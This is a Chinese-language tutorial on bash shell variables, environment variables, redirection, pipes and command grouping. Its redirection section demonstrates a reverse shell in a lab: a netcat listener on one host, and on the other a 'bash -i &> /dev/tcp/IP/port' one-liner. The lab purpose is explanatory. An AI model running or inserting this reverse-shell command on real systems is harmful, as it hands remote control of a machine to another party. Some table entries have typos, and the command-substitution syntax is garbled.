1.Shell变量的分类

内部变量:

系统提供,用户只能使用不能修改。

环境变量:

决定了用户的工作的环境,不需要定义可直接在shell中使用,某些可修改。

用户变量

用户建立和修改,也称为用户自定义变量。

2.Shell中变量的定义和输出

格式:name=string

name为变量名,以字母或下划线开头的字母、数字和下换线字符序列。

“=”为赋值符号,两边不能直接跟空格,否则shell将视为命令。

string是被赋予的变量值,若string中包含空格、制表符和换行符,则string必须用’string’或”string”的形式,双引号允许变量替换,单引号不允许。

通常在变量名前加$符号引用变量的值,变量的输出可使用shell的内置命令echo或printf。

可以属于unset命令取消shell变量的声明

3.Shell变量的作用域

局部变量:

作用范围仅限制在其命令行所在的shell或当前shell脚本执行过程中。

全局变量:

作用范围包含定义该变量的shell以及其所有子shell。

4.Shell环境变量

环境变量定义shell的运行环境,shell用环境变量来确定查找路径、注册目录、终端类型、终端名称、用户名等。

环境变量名 说明 环境变量名 说明
BASH bash的完整路径名 PATH bash寻找看执行文件的搜索路径
EDITOP 应用程序中默认使用的编辑器 ENV linux查找配置文件的路径
HISTFILE 用于储存历史命令的文化 PS1 命令行的一级提示符
HISTSIZE 历史命令列表的大小 PS2 命令行的二级提示符
HOME 当前用户的用户目录 PWD 当前工作目录
OLDPWD 前一个工作目录 USER 当前用户名
IFS 用于分割命令行参数的分割符 UID 当前用户的uid
SECONDS 当前shell开始后流逝的秒数 TERM 当前用户的终端类型

5.重定向/ bash反弹shell原理

所谓重定向,就是不使用系统的标准输入端口、标准输出端口或标准错误端口,而进行重新的指定。

标准设备

名称 代号 代表意思 设备 说明
STDIN 0 标准输入 键盘 命令在执行时所要的输入数据通过它来取得
STDOUT 1 标准输出 显示器 命令执行后的输出结果从该端口送出
STDERR 2 标准错误 显示器 命令执行时的错误信息通过该端口送出

重定向符

重定向符 说明
< 实现输入重定向。
<<!……! 实现输入重定向的特例,即here文件。
>或>> 实现输出重定向,>实现覆盖式输出重定向,>>实现追加式输出重定向
2>或2>> 实现错误重定向。
&> 同时实现输出重定向或错误重定向。

了解了上面这些,我们来看一下利用重定向在linux下反弹shell的原理。

Kail linux 192.168.3.79

Centos7 192.168.3.83

nc: TCP/IP 协议中的swiss army knife,是一个使用tcp或udp协议通过网络连接来读取数据的一个工具。

bash:unix shell 参数 -i创建一个交互式的bash

如果我们不使用输出重定向,echo输出的字符会显示在本地的屏幕上。

1

在kail下开启端口监听 nc -lvp 9999 ,然后我们使用输出重定向符将字符输出到kail的显示屏上。加上bash -i 以后我们在192.168.3.79和192.168.3.83之间建立了一个交互式的bash,将192.168.3.83的输出重定向到了192.168.3.79。

2

接下来尝试一下从192.168.3.79输入重定向到192.168.3.83。

3

知道了输入重定向和输出重定向的原理,把这两个结合其他,就实现了shell的反弹。

nc -lvp 9999 bash -i &> /dev/tcp/192.168.3.79/9999 0<&1

kail本地监听端口9999,centos输入重定向到192.168.3.79,输出也重定向到192.168.3.79。就相当于centos的命令输入、显示结果都在192.168.3.79的终端屏幕上。也就实现了shell的反弹。

6.管道/命令替换/命令组合

管道:

管道线中的每一条命令作为一个单独的进程运行,前一个命令的输出作为下一个命名的输入。单向,从左到右顺序执行。

格式:命令1|命令2|…….

命令替换:

shell中的命令参数可以由另一个命令执行的结果替代。

格式:$cmd1cmd2 arguments $cmd1 $(cmd2 arguments)

命令组合:

在一个命令行上使用若干shell的元字符将若干命令组合在一起。

命令行形式 说明
CMD1;CMD2 顺序执行一组命令序列
{MD1;MD2;} 在当前shell中执行一组命令序列
(CMD1;CMD2) 在子shell 中执行一组命令序列
CMD1&&CMD 与逻辑,CMD1成功才执行2
CMD1||CMD2 或逻辑,CMD1失败才执行2